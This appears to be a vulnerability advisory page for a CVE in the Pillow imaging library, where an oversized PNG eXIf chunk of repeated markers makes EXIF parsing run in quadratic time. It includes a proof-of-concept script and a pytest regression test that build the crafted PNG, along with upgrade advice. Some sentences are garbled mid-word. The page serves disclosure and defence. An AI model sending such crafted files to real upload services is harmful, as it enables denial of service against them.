CVE-2026-96643 — pillow
Fix: python-pillow/Pillow@806e383CVE-2026-96643 is a CWE-407 vulnerability in pillow. A fix is available for pillow — see the affected versions and patch details below.
Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
pillowReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.
Details
Exif.load() in src/PIL/Image.py strips a marker from the start of the EXIF data like this:
while data and data.startswith(b"Exif\x00\x00"):
data = data[6:]
Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.
chunk_eXIf() in src/PIL/PngImagePlugin.py puts the raw PNG eXIf chunk straight into info["exif"] with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with MAX_TEXT_CHUNK and MAX_TEXT_MEMORY. The eXIf chunk has no such cap.
If the eXIf chunk is filled with repeated Exif\x00\x00 markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.
Steps to reproduce
This builds a small PNG in memory and times Image.open().getexif() on it. No external file needed.
import time
from io import BytesIO
from PIL import Image, PngImagePlugin
def chunk(cid, *data):
fp = BytesIO()
PngImagePlugin.putchunk(fp, cid, *data)
return fp.getvalue()
MAGIC = PngImagePlugin._MAGIC
IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
IDAT = chunk(b"IDAT")
IEND = chunk(b"IEND")
marker = b"Exif\x00\x00"
exif_chunk = chunk(b"eXIf", marker * 300_000) # 1.8MB, all markers
data = MAGIC + IHDR + exif_chunk + IDAT + IEND
start = time.time()
with Image.open(BytesIO(data)) as im:
im.getexif()
print("took", time.time() - start, "seconds")
Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.
Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.
A pytest version of this test, using pytest-timeout so a test run does not hang if the bug is present, is it fails with Failed: Timeout (>2.0s) from pytest-timeout.
import pytest
from io import BytesIO
from PIL import Image, PngImagePlugin
def chunk(cid, *data):
fp = BytesIO()
PngImagePlugin.putchunk(fp, cid, *data)
return fp.getvalue()
MAGIC = PngImagePlugin._MAGIC
IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
IDAT = chunk(b"IDAT")
IEND = chunk(b"IEND")
@pytest.mark.timeout(2)
def test_exif_load_is_not_quadratic():
marker = b"Exif\x00\x00"
exif_chunk = chunk(b"eXIf", marker * 300_000)
data = MAGIC + IHDR + exif_chunk + IDAT + IEND
with Image.open(BytesIO(data)) as im:
im.getexif()
Impact
- Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear.
- Confidentiality: none.
- Integrity: none.
- This fires through
Image.getexif(),Image._getexif(), andImageOps.exif_transpose().exif_transpose()is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pillow | ≥ 11.0.0&&< 13.0.0 | 13.0.0pip install --upgrade 'pillow==13.0.0' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pillow, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pillow to 13.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-96643 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2026-96643 in your dependencies?
Find it across PyPI, including transitive dependencies.